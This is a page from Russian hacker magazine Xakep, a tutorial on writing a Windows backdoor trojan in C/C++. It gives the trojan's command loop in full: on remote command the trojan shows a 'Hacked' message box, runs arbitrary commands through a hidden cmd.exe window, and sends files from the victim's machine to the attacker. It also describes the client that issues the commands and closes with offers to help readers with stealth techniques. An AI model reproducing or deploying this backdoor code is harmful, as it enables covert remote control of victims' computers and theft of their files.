С/C++

Xakep, номер #048, стр. 048-087-4


Распишем функции трояна подробнее:

Если первый символ m, то выполняется функция MessageBox(0,buf,"Hacked =)",0), где buf - это наш второй буфер.

Если первый символ e, то строка buf выполняется через cmd.exe c параметром /c, для этого запускается функция с такими параметрами

ShellExecuteA(NULL, "open", "cmd.exe", buf_command, NULL, SW_HIDE), где buf_command - это наш буфер с добавленной вперед строкой "/c ", а SW_HIDE указывает на то, что жертва не должна видеть появляющуюся консоль.

И последняя, самая сложная функция, осуществляющая скачивание файла с машины жертвы. Она выполняется в случае, если первый символ - это f. Сначала она открывает файл только для чтения функцией CreateFile. А затем, если файл существует, в цикле посылает по 4096 байтов этого файла. Если же байтов отослано меньше, значит, это конец файла и цикл прерывается. А сигналом для клиента, что файл закончился, будет дисконнект.

Клиент

В роли клиента может выступать любая программа, которая может послать пакет заданного нами формата жертве. То есть сконнектиться с серваком и выполнить команду типа: send(sock,"m Hello",128,0). Но на всякий случай я написал клиент, который работает из командной строки, и, по идее, его легко перенести на любую платформу. Посылка команды трояну осуществляется командой client.exe [ip жертвы] [функция] [аргумент], например:

client 127.0.0.1 m Привет.

Break

Тема написания трояна под windows, как и под любую другую операционку, очень обширна, и мы рассмотрели лишь ма-а-аленькую ее часть. Если тебе интересно узнать о троянах подробнее, например, о стелс-технологиях и об осуществлении хитрых функций, пиши мне, и я постараюсь помочь с инфой. Полные исходники трояна и клиента с проектом для VC++ .NET ты можешь скачать с сайта www.xakep.ru.

На этом все. Удачного компилирования.

Листинг ComandLoop'а

char type[2], buf[126];

while(true){

SOCKET hack_Sock = accept(listet_Sock,0,0);

while(true){

int i = recv(hack_Sock, type, 2, 0);

recv(hack_Sock, buf, 126, 0);

if ((i== SOCKET_ERROR)||(i == 0)) break;

if (type[0] == 'm') MessageBox(0,buf,"Hacked =)",0);

else if (type[0] == 'e') {

char buf_command[129] = "/c ";

strcat(buf_command,buf);

ShellExecuteA(NULL, "open", "cmd.exe", buf_command, NULL, SW_HIDE);

}else if (type[0] == 'f') {

HANDLE hFile = CreateFile(buf,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);

if (hFile != INVALID_HANDLE_VALUE){

DWORD dwBytesRead;

char buff[4096];

do if (ReadFile(hFile, buff, 4096, &dwBytesRead, NULL)) send(hack_Sock,buff,4096,0);

while (dwBytesRead == 4096);

break;

}

CloseHandle(hFile);

}

}

shutdown(hack_Sock,1);

closesocket(hack_Sock);

}

Назад на стр. 048-087-3  Содержание